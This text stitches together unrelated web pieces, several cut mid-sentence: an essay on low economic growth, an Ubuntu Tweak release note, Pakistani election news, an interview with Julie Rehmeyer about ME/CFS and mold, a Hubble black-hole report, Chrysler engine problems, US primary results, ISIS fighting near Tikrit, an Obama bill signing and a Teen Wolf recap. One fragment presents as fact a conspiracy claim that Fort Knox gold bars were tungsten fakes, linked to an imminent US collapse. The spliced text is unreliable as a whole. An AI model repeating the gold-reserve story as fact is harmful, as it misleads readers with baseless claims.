Government intervention can cushion some of the costs of the crisis but cannot solve the fundamental problems. It is not self-evident that growth can be conjured up policy makers. If government deficit spending, low interest rates and policies to supply unlimited amounts of cash to the financial system were universal economic cures, then Japan’s economic problems would have been solved many years ago.
The problem is the economic model itself. As former Fed Chairman Paul Volcker observed on 11 December 2009: “We have another economic problem which is mixed up in this of too much consumption, too much spending relative to our capacity to invest and to export. It’s involved with the financial crisis but in a way it’s more difficult than the financial crisis because it reflects the basic structure of the economy.”
Into the Real
A return to economic growth requires a return to real engineering rather than reliance on financial engineering. It must reverse the trend to a state where the real economy simply supports trading and investment in claims on underlying resources.
Traditional growth relies on increasing population, sustainable and affordable resources, new markets as well as improved productivity and innovation.
While global population is increasing, much of the growth is in poorer nations. The population in more affluent developed nations is shrinking, with birth rates falling below replacement levels. In many nations, the working age population is declining as the generation born immediately after World War 2 reaches retirement age. However, with increased life expectancy, the size of this aged group creates demand for health and retirement income which must be supported by a dwindling number of workers. In developed countries, the aging population will constrain growth.
Environmental and resources constraints limit the potential for large increases in population. Without significant improvements in agricultural technology, it will be increasingly difficult to feed the population of the world which is rapidly approaching 10 billion.
Agronomists estimate that food production will need to increase by 60% to 100% by 2050 to provide sufficient food to the world, as well as more protein in the form of meat to the rapidly increasing middle classes of the developing world. But the amount of arable land has remained relatively constant at around 3.4 billion acres for the last decade. Increases in crop yields have become more difficult to achieve.
Writing in a piece titled Welcome to Dystopia, Jeremy Grantham, founder of asset manager GMO, observed: “We are five years into a severe global food crisis that is very unlikely to go away. It will threaten poor countries with increased malnutrition and starvation and even collapse. Resource squabbles and waves of food-induced migration will threaten global stability and global growth….Even if we could produce enough food globally to feed everyone satisfactorily, the continued steady rise in the cost of inputs will mean increasing numbers will not be able to afford the food we produce”.
Sustainable falls in the price of energy and other scarce resources are also difficult. The quality of the world’s oil resources is declining. Easier to extract and therefore cheaper fields are being exhausted requiring a shift to more difficult and expensive sources. Given its central role in transportation, rising prices of gasoline or related products is troubling.
New energy sources are expensive and may create new problems. Production of the bio-fuel to fill one 25 gallon SUV tank requires the corn sufficient to feed a single person for a year.
Financial policy measures -quantitative easing and competitive currency devaluations- are driving also up commodity prices. The loss of faith in paper money is feeding demand for real assets including commodities as investors try to preserve purchasing power.
The scope for new markets is limited. Since 1989, most economies, with the exception of North Korea, have integrated into the global trading system. In fact, gains from globalisation may reverse. Nation states increasingly favour domestic activity and maximising the share of limited demand usingbeggar-thy-neighbour strategies, such industry policy, trade restrictions, currency manipulation and controls on free movement of capital.
New New Things
Major technological change and innovations, at least on the scale of the industrial or computing revolutions, are not on the horizon.
Economist Robert Gordon argues that the rapid growth and improvements in living standards achieved since 1750 were driven by three different phases on industrial revolution: steam engines (industrial revolution 1), electricity, internal combustion engines, modern communication, entertainment, petroleum and chemical (industrial revolution 2) and computing (industrial revolution 3).
He finds that industrial revolution 2 was the most significant in its impact on productivity and improvements in living standards. To the consternation of the i-generation, Gordon argues that industrial revolution 3, while important, was less important than thought, creating only short-lived improvement in productivity.
The replacement of repetitive low value tasks by technology was undertaken primarily in the 1970s and 1980s. Industrial revolution 3 did not fundamentally revolutionise productivity, but was focused on improving existing technologies, enhancing capability, power and also miniaturisation. Many recent innovations also centred on entertainment and communication devices.
The economic contribution -revenue, profits and employment- of many recent innovations are difficult to gauge. Some technologies merely displace existing products. Apple’s i-Phones have cannibalised Blackberries, portable music players and personal digital assistants. Google and blogs cannibalise existing industries, such as newspapers. Whatever their cultural impact, Facebook and Twitter may not have viable economic models.
Gordon argues that many innovations are non-repeatable – improvements in life expectancy, urbanization, improvements in food production, clean water, sanitation, faster transportation, increased female participation in the workforce, temperature control to facilitate productive activities in climatically challenging regions etc.
In recent times, productivity increases, especially the change in output per unit of combined capital and labour, have slowed. Easy productivity gains from outsourcing production to lower cost jurisdictions or reductions in workforce levels have been achieved.
Many new products and productivity measures reduce the number of workers needed. While creators capture large benefits, employment and income levels are not significantly boosted, limiting the benefit to the wider economy. Given consumption makes up 60-70% of economic activity in developed economies, this limits the impact on growth.
The prospect for innovation is also affected by educational levels and funding for research. Social activist Jane Jacobs identified the shift from ‘educating’ to ‘credentialing’, where educational establishments now serve to merely prepare students for employment. The increasing cost of education has also increasingly placed it beyond the reach of many or forced graduates to start their working lives with significant debts.
Scientific research funding has declined in real terms in many nations. This has affected the amount as well as the approach to research, shifting focus to safer proposals likely to receive funding rather than uncertain but potentially ground-breaking areas.
Large scale investment in pure research and development in basic science, such as that undertaken by the Bell Labs, Xerox’s Palo Alto ResearchCentre (“PARC”) or Lockheed’s “Skunk” Works, is less prevalent today. Researchers working at Bell Labs helped develop radio astronomy, the transistor, the laser, the charge-coupled device (CCD), information theory, the UNIX operating system, the C programming language and the C++ programming language. PARC contributed innovations such as personal computer, the laser printer, and the graphical interface. Without such investment in science, quantum leaps in innovation are more difficult.
While a factor, innovation and productivity increases may not be sufficient to restore growth to the stellar levels of the twentieth century.
Uncertain Futures
The legacy of existing high debt levels will constrain economic activity. In the words of one analyst: It will be like driving with the handbrake on. A large portion of current income is now directed at servicing borrowings, limiting consumption and investment. Ultimately, the easiest way to kick-start growth is to write-off debt, removing this burden. But this would result in losses to lenders and investors, reducing wealth thereby limiting consumption and investment. Environment issues and resources scarcity remain additional constraints. The lack of easy policy options means that the world faces an unknown period of low, below trend growth.
Debates about the economy, assume the inevitable return to robust growth. Politicians everywhere repeatedly mouth the sacred mantra of economic policies that lays the foundation for long term growth. Even in Japan which about to enter its third successive decade of economic stagnation, the latest government recently outlined its growth strategy.
The reason is not difficult to discern. Writing about the US in The American Future, historian Simon Schama observed that no one ever won an election by telling the electorate that it had come to the end of its “providential allotment of inexhaustible plenty”.
Environmental Adaptations
Everyone must confront the prospect of a world with low or no growth. But people do not want to believe that this is a possible or likely future. They believe that a return to a world of strong growth is inevitable.
Like Fitzgerald’s tragic hero Gatsby, the incredulous battle cry everywhere is: “Can’t repeat the past? Why of course you can!” But as philosopher Michel de Montaigne asked: “How many things we regarded yesterday as articles of faith that seem to us only fables today?”
A book The World Without Us was based around a thought experiment – what would a world bereft of humans revert to. Society and markets increasingly need to focus on what a world without growth, or at least low and uneven rates of growth will look like.
© 2013 Satyajit Das All Rights reserved
Satyajit Das is a former banker and the author of Traders Guns & Money and Extreme MoneyUbuntu Tweak 0.7.0 has been released today, bringing some important new features, especially for Ubuntu 12.04 Precise Pangolin which will be released tomorrow.
As you probably know, starting with version 0.6, Ubuntu Tweak had lost some of its main features. Well, with the latest 0.7.0, some of these features are back: App Center, Source Center (which is a PPA database that you can easily enable/disable from Ubuntu Tweak), Templates and Scripts. The Source Center comes with integrated PPA Purge feature and App Center with "Installed Apps" view:
App Center
Source Center
Improved Janitor with cleaning apps cache
Login screen (LightDM) settings for Ubuntu 12.04, including an option to disable the login screen grid
Global fuzzy search so you can easily find various settings in Ubuntu Tweak
More Unity settings and new Workspace settings
Ubuntu Tweak 0.7 - Unity tweaks
There's also a new feature that lets you install new third-party themes (currently, it only works for icon themes though):
Install Ubuntu Tweak
To receive the latest Ubuntu Tweak updates through the Ubuntu Update Manager, you can use the Ubuntu Tweak PPA instead of manually downloading and installing it:
sudo add-apt-repository ppa:tualatrix/ppa sudo apt-get update sudo apt-get install ubuntu-tweak
The latest Ubuntu Tweak 0.7.0 also features aG-B political parties slam jirga's decision to bar women from voting
A jirga in Gilgit-Baltistan barred women from casting votes in constituency of Darel in the upcoming legislative assembly elections.
The Jirga’s decision is likely to disenfranchise more than 12,550 female voters of the GBLA-17, Diamer 3, constituency, according to NDTV.
A similar Jirga decision is pending in the adjacent Tangir Valley.
Read: Tit for tat: Gloves off between PML-N and PPP in Gilgit-Baltistan
Terming the move unconstitutional, political parties called upon chief election commissioner to take notice of this move.
On Friday, PPP leader Amjad Hussain said restricting women voters of Gilgit-Baltistan from casting ballots is lethal for democracy. Hafiz Hafeezur Rehman of PML-N said his party will resist any curb of women’s suffrage.
Read: Staving off a crisis in G-B: CEC expresses concern over security at 272 polling stations
Senior leader of PTI in G-B Mirza Nusrat said his party will oppose any such move.
According to a top leader of JUI-F, all the candidates from constituency of Darel have agreed that women should not cast their votes because a Jirga has taken this decision.
Read: Round the corner: Schedule announced for G-B’s second elections
If candidates object to the decision of the Jirga, women will be allowed to exercise their right to vote, he said.
Legislative elections in G-B will be held on June 8.
Read full storySource: Photo by Kerry Sherck, used by permission
Julie Rehmeyer’s new book, Through the Shadowlands: A Science Writer’s Odyssey into an Illness Science Doesn’t Understand, is an excellent read even if your life has not been affected by Chronic Fatigue Syndrome. This is because Julie is a great writer, and so the book stands on its own as a page-turning memoir. That said, it’s so much more. Julie describes getting sick and being diagnosed with Chronic Fatigue Syndrome (the preferred name today is Myalgic Encephalomyelitis or ME/CFS). This sets her on a journey to find help from a medical community that has little of this illness and whose doctors often treat their patients with disdain. Not deterred, she calls upon her scientific background to investigate possible causes and to experiment with different treatments. She doesn’t quit until she finds the culprit that turned her life upside down: toxic mold allergy.
Chronic Fatigue Syndrome is a label that’s applied to many different conditions. I’ve been diagnosed with it since I failed to recover from what appeared to be a routine viral infection in 2001. Julie has the same diagnosis, but it’s clear to me that we suffer from different illnesses. Our symptoms don’t match. In fact, in the sixteen years since my diagnosis, I’ve yet to encounter anyone whose symptoms match mine. In addition, our experiences in discovering what helps and what doesn’t differs (except for the importance of pacing).
We won’t get answers to the mystery surrounding this illness until more money is allocated for research. If that were to happen, I’m confident we’d discover that ME/CFS is an overbroad term that encompasses several subsets of illnesses, each with a set of causes that indicate the need for different treatment approaches.
Julie is so fortunate to have found the cause of her illness. In her book, you’ll accompany her from wellness to illness and back to wellness. It’s a journey well worth taking because Julie is a great storyteller, and reading her prose is such a pleasure. I also want to say how thrilled I am for her and how impressed I am that, through and determination, she discovered the key to regaining her.
My heartfelt thanks to Tiffany Lee Brown for crafting these questions for Julie. Tiffany is a writer-artist who suffers from and mold illness. She is also an editor at Plazm, a print magazine of art, design, literature, and dissent made in Portland since 1991 (https://magazine.plazm.com).
And now, here’s the interview with Julie.
1. Everyone has their own journey through illness,, and injury. Briefly, how would you describe your journey from being so sick you couldn’t turn over in bed, diagnosed with Chronic Fatigue Syndrome, to being healthy and mobile most of the time?
My illness came on gradually, rather than with a sudden flu-like illness as happens for many patients. It was a period of enormous for me: I had a very demanding, I was building a strawbale house with my own hands, and my husband was going through a very serious illness of his own. So initially, I figured, “Who wouldn’t be exhausted?’ At the same time, it seemed awfully extreme—I remember, for example, trailing my hand along the wall as I walked to the bathroom, afraid I might pass out. Still, I expected that when I finished the house and got my life in order, I’d be fine.
I wasn’t. I felt somewhat better over time, but I continued to have a lot of trouble with exercise. My body felt like an old nag, and I had to kick it cruelly to get it to move. Worse, the day after exercise, I often felt terrible. That was quite unlike me—before building the house, I’d run a marathon.
Then in 2006, I woke up one morning barely able to walk. I staggered, and it felt both like my legs weighed 300 pounds apiece and like the nerve signals were getting scrambled as they traveled from my brain to my legs. I had been having increasing problems with exercise and exhaustion over the previous year, but nothing like that.
I went to a neurologist, and he diagnosed me with chronic fatigue syndrome. But for him, that clearly meant, “Please get out of my office. I have nothing to offer you.” No tests, no treatments, no other doctors, nothing.
I visited a zillion doctors after that, but I gradually came to the hard conclusion that none of them had much to offer. Since I’m a science writer, I dug into the scientific literature myself, but I was shocked by how weak it was, filled with small studies that hadn’t been replicated. I wasn’t sure that any of the studies pointed to anything real. I concluded that neither medicine nor science had anything to offer me.
So I started experimenting on myself, and I discovered some very helpful strategies. The most important of them was pacing myself — I learned to stop the moment I thought, “I’m a little tired.” If I continued my activity for even a couple more minutes, I paid. I also discovered a truly bizarre treatment, one I still don’t understand: If I went swimming in the middle of one of my paralysis episodes, it went away for the rest of the day. It didn’t work prophylactically, unfortunately, but it did cure me temporarily once I got crippled.
Such strategies allowed me a reasonable level of function for about four years, albeit with bad days or bad weeks. But then in late 2010, I suffered a severe setback, and I spent a year bedbound about half the time, sometimes unable even to turn over in bed. At that point, I went to the top specialists in the world, but their treatments ultimately didn’t make much difference.
It was a terrifying time. I was in a relationship that was crumbling under the weight of my illness, and I concluded I had to leave. I moved back home to Santa Fe, after spending six years in the Bay area, and I was thrilled to be home but my in Santa Fe had withered during my absence. I was barely able to work and was running out of money. I couldn’t really even take care of myself. I had little family to turn to. I was 39, and about the only future I could imagine for myself was residence in a Medicaid-funded nursing home.
So when I heard about a group of patients who believed they had dramatically improved by taking extreme steps to avoid mold, I was riveted. I was also extremely skeptical: I had no evidence I’d ever gotten a serious mold exposure, and also, what I knew of the science suggested that mold could cause respiratory problems, but not neurological ones like mine. Still, I was desperate enough to listen, and ultimately to run an experiment following the advice of the “moldies,” as they called themselves: I went to Death Valley for two weeks with none of my own belongings. I was on just enough of an upswing that I hoped I could pull it off.
The moldies predicted that when I got home, my own home and stuff would make me dramatically sick, and that would prove that mold was my problem. And indeed, as it turned out, 30 seconds at home was enough to cripple me.
I ended up getting rid of nearly all of my belongings and moving to a different house, and I had a nearly unbelievable improvement. A week after I got back, I was able to climb a 350-foot hill, which I hadn’t been able to do for a year. I took a picture of the grand view from up there and sent it to all my, with the subject line, “Oh. My. God.”
2. Mold illness forces patients to let go of a lot—not just metaphorically. You had to leave behind your house, your city, a relationship… and you’ve had to get rid of possessions repeatedly: clothes, computers, books. What has this process taught you?
Before I went to Death Valley, I told friends that I felt like I was going to the desert to die. I expected to be breathing at the end of the trip, but I couldn’t keep going the way I had, working so hard to keep everything together in spite of my illness. It was too hard. I was done.
And while I was there, I felt utterly stripped of life as I’d known it. I was miles from another human being, with just my dog Frances for company, even without my own belongings.
I discovered an incredible freedom in that. All my life, I’d been driven by a restless ambition, a feeling that I needed to make a success of my life. In Death Valley, that drive suddenly seemed absurd, way beyond my capacity. So much effort, I thought. I quit! Just taking one breath after another, managing to heat up my food and wash my dishes, occasionally sweeping the sand out of the tent—that felt like success enough for me. I was astonished to find that a gentle lay underneath, all the time, like a drum beat, like my own heartbeat. With all my assumed obligations removed, life seemed unimaginably spacious. Just being alive was a thrill, a blessing, a tiny miracle beyond my expectation or control. Anything I managed to accomplish above that was a gift.
When I got home and discovered that the mold hypothesis was true for me, I had to get rid of nearly everything I owned. But I found that surprisingly easy at that point. I got such a dramatic demonstration that avoiding mold was likely to help that my stuff felt trivial by comparison.
3. Many of us with chronic illness are told that it’s “all in our heads.” This can seem like a medical insult, a dismissive way to look at serious physical illness. On the other hand, through emotional, mental, and practices, many of us improve our lives and sometimes even our symptoms. How do you hold these apparent contradictions and make peace with them?
My mother was a Christian Scientist, so I grew up steeped in the idea that our minds strongly influence the functioning of our bodies. I’m certainly not a Christian Scientist myself, but I don’t believe in this division of mind and body. That whole model strikes me as deeply unscientific. It makes no sense to imagine our minds floating freely outside our bodies, occasionally screwing up and creating illness. The mind and body aren’t just connected, they’re aspects of the same thing, heads and tails, yin and yang, utterly inextricable.
Dealing with illness skillfully, I thought, required analyzing that yin- yang relationship in a nuanced way. Psychology and physiology weren’t opponents in a winner-take-all game. They were partners in a dance. And it was my job to help them move to the music with more connection and grace.
I used psychological approaches to improve my health in many different ways: I thought about my immediate experience in a way that kept me from feeling victimized and helped me create richness and meaning in my life; I revisited old to see if there were ways to shift my relationship to it and perhaps improve my physical health as a result; I worked to calm my nervous system’s response to exposure. I also consistently acted from the belief that diligent to one’s internal feelings and attitudes is the best place to start in solving a problem, allowing me to act more powerfully in the world and sometimes opening the doors to change in ways I couldn’t predict.
But it was also scary to open myself to psychological approaches in the context of an illness that has been “psychologized,” causing unimaginable harm to patients. I feared that if I allowed any crack in the imagined door separating mind from body, I (and the entire illness) would get shoved through it, locked onto the wacko side.
4. Finally, what single piece of advice would you offer to patients like yourself?
Poorly understood illnesses like ME/CFS are pushed into the shadow in our culture. I’m thinking of shadow in the Jungian sense: Jung suggested that as individuals, we tend to shove the aspects of ourselves we’re uncomfortable with to the corners of our awareness. He argued that in doing so, we lock away a kind of energy and vitality, and that if we shine a light into those dark corners and rediscover those parts of ourselves we’ve locked away, that energy can be liberated.
I think the same thing is going on at a societal level with poorly understood illnesses: The idea of being sick without knowing what’s going on is terribly frightening, so people tend to push it away by pathologizing the sick. Of course, that approach is no longer an option when you become sick yourself.
Early on, I assumed that I’d be able to find clear medical answers that would pull me out of the shadowlands of illness. Over time, though, I recognized that I had no but to take up residence in that dark country.
So my advice to my fellow patients is to recognize that they are doing important work in living in those shadows. Coping with illness eats up unbelievable amounts of life energy, and it often feels like that energy is simply wasted. But I believe that by simply being who you are, while living with the stupid, awful, terrible disease that plagues you, you are bringing light into these shadows. And in doing so, you are liberating energy for society as a whole.
***
Julie Rehmeyer is the author of Through the Shadowlands: A Science Writer’s Odyssey into an Illness Science Doesn’t Understand. She is also a contributing editor to Discover and has been published in the New York Times, Washington Post, O Magazine, Wired, and many other publications.
Toni is the author of three books: How to Be Sick: A Buddhist-Inspired Guide for the Chronically Ill and Their Caregivers (Second Edition) 2018, How to Wake Up: A Buddhist-Inspired Guide to Navigating Joy and Sorrow, and How to Live Well with Chronic Pain and Illness. Visit www.tonibernhard.com for more information and buying options.The Hubble space telescope has spotted a supermassive black hole floating on the outskirts of a large galaxy.
The location is odd because black holes of this size generally form in the centers of galaxies, not at their edges. This suggests the black hole is the lone survivor of a now-disintegrated dwarf galaxy.
The black hole – named HLX-1 – is 20,000 times more massive than the sun, and is situated 290 million light-years away at the edge of the spiral galaxy ESO 243-49.
Hubble detected a great deal of energetic blue light coming from the black hole's accretion disk – a massive collection of gas and dust that spirals into the black hole's maw, generating x-rays. But scientists studying Hubble's data also noticed the presence of cooler, red light, which shouldn't have been there.
Astronomers suspect the red light indicates the existence of a cluster of young stars, roughly 200 million years old, orbiting around the black hole. These stars, in turn, are the key to explaining the chaotic history of the supermassive black hole.
HLX-1 was likely formed at the center of a dwarf galaxy that once orbited ESO 243-49. But in this dog-eat-dog universe of ours, large galaxies often swallow up their smaller brethren. When the dwarf galaxy came too close to ESO 243-49, the larger galaxy plucked away most of its stars, leaving behind the exposed central black hole.
The force of the galaxies' collision would have also triggered the formation of new stars, explaining the presence of a young stellar cluster around the black hole. The cluster's age, 200 million years, gives a good estimate of when the merger occurred.
HLX-1 may now be following the same fate as its parent galaxy, slowly getting sucked into ESO 243-49. But researchers don't know the details of the black hole's orbit, so it could also possibly form a stable orbit around the larger galaxy, circling as the isolated reminder of a vanished dwarf.
The findings appear Feb. 15 in the Astrophysical Journal.According to Automotive News, the Chrysler Group believes that roughly one half of 1% of the vehicles sold in the US with the Pentastar V6 could have an unexplained cylinder head issue with the bank containing the #2 cylinder. This problem can reportedly cause a ticking noise that can escalate to misfire conditions that can cause stalling and a loss of power…although Chrysler points out that it does not render the vehicle inoperable.
It should be noted that this is not a recall but rather, owners of Pentastar powered Chrysler Group vehicles who are experiencing these issues can visit their local dealership where the cylinder heads will be replaced under warranty. The Chrysler Group began replacing the heads under warranty after a handful of complaints were filed with the National Highway Traffic Safety Administration pertaining to the new Pentastar powered Jeep Wrangler SUVs. Unfortunately for Chrysler, this problem isn’t specific to the open aired Jeep as select Dodge Journey, Chrysler Town & Country and Dodge Grand Caravan models have also been found to exhibit this problem. A variation of the 3.6L Pentastar V6 is also used in the Dodge Charger, Dodge Challenger, Dodge Avenger, Dodge Durango, Jeep Grand Cherokee, Chrysler 300, Chrysler 200 and the new Ram 1500 – although none of those vehicles have been mentioned in the statements involving the problematic Pentastar engines.
Chrysler first recognized this problem around six weeks ago, at which point they began manufacturing a replacement cylinder head that is “more robust” along with fitting all newly produced Pentastar engines with these beefier heads. Chrysler has not identified the exact cause of the problem or the specific issue with the cylinder head that is occurring but a company representative has explained that the problems are a culmination of a variety of factors including (but not limited to) the quality of gasoline and the driving situations. Based on that, it sounds like the Pentastar engines are experiencing early detonation that can cause a ticking noise and as time goes on – more problems could creep up due to the incorrect firing of the #2 cylinder. If someone was to put very low quality, low octane gasoline in their Pentastar vehicle and then run the vehicle hard in very hot conditions, there is a good chance that detonation could be the issue especially when the driver keeps running the same gasoline and driving hard. However, the Chrysler Group believes that the variables needed to experience these problems will prevent the problem from occurring in most Pentastar powered vehicles. That being said, running higher quality gasoline could prevent those Pentastar powered vehicles from running into the #2 cylinder issue.
The problem for Chrysler now is that cylinder heads are not something that a company typically builds in excess for mass replacements, like an oil filter or even a headlight lens. Because of that, there is a very high demand for these heartier cylinder heads which the company is having a hard time meeting which has forced some dealerships to hold onto customer vehicles while waiting for replacement parts – all the while having to pay for a rental car while the other is without their own vehicle.
In late July, a source stated that there were approximately 1,300 Chrysler Group vehicles sitting on dealership lots while they waited for the replacement cylinder heads with an average of 300 new vehicles arriving at dealerships each week. The average number of reported cylinder head issues has now increased to around 500 per week. Luckily, the Chrysler Group sent enough replacement cylinder heads to dealerships around the country to address some 3,000 vehicles but with as many as 7,500 vehicles affected around the country – those owners who have not experienced the problem thus far could be waiting for parts once they do.
Source: Automotive NewsBernie Sanders defeated Democratic presidential frontrunner Hillary Clinton in the West Virginia primary Tuesday, an outcome that won't halt Clinton's march to the nomination but underscores the persistent resonance of Sanders' inequality-focused campaign.
The Associated Press called the race for Sanders at 9:24 p.m. Eastern:
Coal Country, not Clinton Country: The Vermont senator's victory comes one week after he upset Clinton in the Indiana primary, and follows weeks of raging controversy over the former secretary of state's statement that she would put much of the coal industry "out of business."
Clinton later sought to clarify those comments, but in the coal-loving Mountain State, the damage was done. Though Sanders' policies are no less antagonistic to the industry than Clinton's, he may well have benefited from protest votes against the former secretary of state, who in the administration of President Barack Obama — a widely reviled figure in West Virginia, even among many Democrats.
Notably, exit polling found that 44% of Sanders' voters in the state would back presumptive Republican nominee Donald Trump in the general election, against 23% who'd pull the lever for Clinton. But nearly 2 in 5 Sanders voters said Tuesday they'd also back Trump over Sanders himself.
While many West Virginia Democrats may have simply wanted to send Clinton a message, Sanders' populist pitch on income inequality and combatting the political establishment has gained traction with many working-class whites, who account for much of the West Virginia electorate. Those voters backed Clinton over Obama in the 2008 primary, but have proven a less reliable constituency this go-around.
The fundamentals: Still, Clinton is firmly on track to secure the 2,383 delegates needed to win the Democratic nod. Heading into Tuesday's vote, she had won 2,228 delegates to Sanders' 1,454 — meaning she only needed to win about 14% of the remaining delegates up for grabs to prevail.
With only 29 proportionally allocated pledged delegates at stake in West Virginia, Sanders' win won't move the needle — but it could be part of a May winning streak for him. His victory is a good omen for his chances in Kentucky, which votes May 17, and he is favored to win progressive-leaning Oregon the same day.
Sanders has vowed to remain in the race until all votes are cast. The final primaries come on June 7, with California the big prize.Fighters with the ISIS/ISIL won a major victory over Iraqi security forces this week when they retook Saddam Hussein’s hometown, Tikrit, on June 11 after more than two weeks of fighting. ISIS rebels have since repulsed several attempts by Iraqi troops to retake the city located just 140 kilometers from Baghdad.
Consolidating their gains, ISIS militants overran Iraqi soldiers protecting a former U.S. military base on Friday, killing and capturing hundreds of Iraq fighters who had been orchestrating efforts to retake Tikrit.
“Beginning late Thursday, the Islamist forces stormed Camp Speicher, a former U.S. military base named for a pilot who disappeared during the 1991 Persian Gulf War, and overwhelmed the troops there,” a McClatchy dispatch from Iraq read.
Interviews with Tikrit residents and statements on Twitter accounts associated with the Islamic State described massive government losses. One Twitter post said Islamic State militants had shot down or destroyed on the ground as many as eight helicopters, a number that if confirmed would be a catastrophic loss for the government. Another Twitter posting said Islamic State militants had set the base’s fuel storage tanks on fire and that a suicide bomber had attacked a “gathering” of government soldiers. One resident said that as many as 700 government soldiers and 150 fighters he described as Iranians, but who may have been Shiite Muslim militiamen, had participated in the final battle. Sunni Muslims in central Iraq often inaccurately describe Iraqi Shiites as Iranians.
This major defeat for pro-Western forces in Iraq may not be the most grim news coming out of the country in recent days.
In the northern Iraqi city of Mosul, where ISIS fighters have been in control for weeks, members of a local Christian community have been told they have until Sunday to either consent to pay a tax in order to remain there, convert to Islam, or be killed.
Thousands of Christian residents of the city are reportedly fleeing the area ahead of the deadline.
Witnesses said messages telling Christians to leave the city by Saturday were bl |
if he believed there was no gold in Fort Knox or the Federal Reserve, Congressman Paul gave the incredible reply, “I think it is a possibility.”
Also interesting to note is that barely 3 days after the arrest of Strauss-Kahn, Congressman Paul made a new call for the US to sell its gold reserves by stating, “Given the high price it is now, and the tremendous debt problem we now have, by all means, sell at the peak.”
Bizarre reports emanating from the US for years, however, suggest there is no gold to sell, and as we can read as posted in 2009 on the ViewZone.Com news site:
“In October of 2009 the Chinese received a shipment of gold bars. Gold is regularly exchanges between countries to pay debts and to settle the so-called balance of trade. Most gold is exchanged and stored in vaults under the supervision of a special organization based in London, the London Bullion Market Association (or LBMA). When the shipment was received, the Chinese government asked that special tests be performed to guarantee the purity and weight of the gold bars. In this test, four small holed are drilled into the gold bars and the metal is then analyzed.
Officials were shocked to learn that the bars were fake. They contained cores of tungsten with only a outer coating of real gold. What’s more, these gold bars, containing serial numbers for tracking, originated in the US and had been stored in Fort Knox for years. There were reportedly between 5,600 to 5,700 bars, weighing 400 oz. each, in the shipment!”
To the final fate of Strauss-Kahn it is not in our knowing, but new reports coming from the United States show his determination not to go down without a fight as he has hired what is described as a ‘crack team’ of former CIA spies, private investigators and media advisers to defend him.
To the practical effects on the global economy should it be proved that the US, indeed, has been lying about its gold reserves, Russia’s Central Bank yesterday ordered the interest rate raised from 0.25 to 3.5 percent and Putin ordered the export ban on wheat and grain crops lifted by July 1st in a move designed to fill the Motherlands coffers with money that normally would have flowed to the US.
The American peoples ability to know the truth of these things, and as always, has been shouted out by their propaganda media organs leaving them in danger of not being prepared for the horrific economic collapse of their nation now believed will much sooner than later.
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— President Obama signed his first bill into law on Thursday, approving equal-pay legislation that he said would “send a clear message that making our economy work means making sure it works for everybody.”
Mr. Obama was surrounded by a group of beaming lawmakers, most but not all of them Democrats, in the East Room of the White House as he affixed his signature to the Lilly Ledbetter Fair Pay Act, a law named for an Alabama woman who at the end of a 19-year career as a supervisor in a tire factory complained that she had been paid less than men.
After a Supreme Court ruling against her, Congress approved the legislation that expands workers’ rights to sue in this kind of case, relaxing the statute of limitations.
“It is fitting that with the very first bill I sign — the Lilly Ledbetter Fair Pay Act — we are upholding one of this nation’s first principles: that we are all created equal and each deserve a chance to pursue our own version of happiness,” the president said.
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He said was signing the bill not only in honor of Ms. Ledbetter — who stood behind him, shaking her head and clasping her hands in seeming disbelief — but in honor of his own grandmother, “who worked in a bank all her life, and even after she hit that glass ceiling, kept getting up again” and for his daughters, “because I want them to grow up in a nation that values their contributions, where there are no limits to their dreams.”This week’s Teen Wolf answered some very important questions: Can Derek’s life get any worse? Are we ever going to find out what Deaton is? Was Peter a weirdo creeper even before the fire?
Answers: Yes. Yes. Heck yes.
The episode starts with a teenage boy—whom we later see is bb!Derek, and excellent casting, by the way, Teen Wolf—running through the forest being chased by hunters, among them Gerard and Chris Argent. He bumps into another werewolf who proceeds to get shot with a crossbow through the neck. The poor redshirt werewolf wasn’t who the Argents were looking for, though, so Chris demands that the others be rounded up, and alive, because killing them would violate the Code.
Ah, Chris/Code. Two-thirds of my Chris Argent OTP. I’ve missed you
(The other member, in case you’re wondering, is Aggressive Dessert Grabbing.)
Derek avoids being taken by the hunters and is shown huddling in the forest. Then we hear present-day Cora, who explains to her audience—Stiles—that Derek hid for two days, which is standard procedure in such a situation. It comes out that Derek’s been missing ever since he was forced to kill Boyd. Is he on another werewolf walkabout, Stiles asks. How long will he be gone? What exactly should we be worrying about with him?
Cora doesn’t know—she’s been MIA for years, and her brother’s different from when she knew him. Uh, yeah. I imagine having your entire family die in a fire will do that. Stiles asks how he’s different, and Peter, making a less-dramatic-than-normal entrance (to be fair, it’d be hard to jump down the spiral staircase in Derek’s loft), gives him the answer.
Teenage Derek, Peter explains, was actually a lot like Scott. What changed him was a girl, and what traumatic girl-related incident there was also changed his pre-Alpha eyes from gold to blue. If you want to understand Derek, you have to understand the color of his eyes.
Welcome, ladies and gents, to the flashback episode.
But Peter’s only one of the storytellers in this episode. The other is Gerard. Scott and Allison visit Grumpy Cat Gramps to grill him for information about Deucalion, which he only agrees to share if Scott uses some of his werewolf magic to take away his pain.
Going back in time yet again, we meet a girl practicing her cello in Beacon Hills High School’s music room. Or at least trying to practice her cello, because some basketball players are goofing off in the hall outside. Mystery Girl goes outside and asks them to be quiet, but their ringleader—none other than bb!Hale—refuses, saying basketball players can practice wherever they like and agreeing to give her some peace and quiet only if she can take the ball from him, which she’s unable to do.
Defeated by a teenage d-bag, Mystery Girl goes back to the music room… and is followed there by Derek, who apologizes and proceeds to get his flirt on, telling the girl he’ll leave if she tells him her name. She responds: I’ll tell you my name if you can play one instrument in this room. At this point I’m mentally urging Derek to go for the cymbals, but he goes for the triangle instead. The result is the same: Mystery Girl’s name is Paige.
So… young Derek was flirty, popular, and kind of a jerk when around his friends. How exactly is that like Scott? Granted, Derek was probably a decent guy under all that bravado, but… Scott’s a prince.
Back to Allison, Scott, and Gerard. It turns out the police found a third sacrifice after Deaton was rescued by a badass Sheriff Stilinski. Like right after. It almost makes you think that the Druid knew Deaton would survive, because maybe Deaton was in on it, Gerard growls. Scott says his boss wouldn’t involve himself in anything that would get people killed, but Gerard disagrees, saying many people would go pretty dang far to kill someone like Deucalion.
Or like you?, Allison counters. Touché.
Gerard denies knowing how to defeat Deucalion, so Allison’s all like “Well I guess you’re useless then” and proceeds to walk out. Gramps call her back, saying, hey hold on, he doesn’t know how to kill the guy, but he can still tell you something about him: He may have lost his eyes, but he’s not always blind.
(Let’s just take a moment to appreciate how Allison manipulated Gerard into giving up some information, pointlessly cryptic and completely unhelpful though it seems at first.)
Meanwhile, Peter and Cora give cryptic responses to Stiles when he asks how old they are. Oh, Jeff Davis, I see what you did there, joking about how no one in the fandom or the behind the scenes in the show can ever seem to figure out how old Derek is. Our showrunner does love to troll.
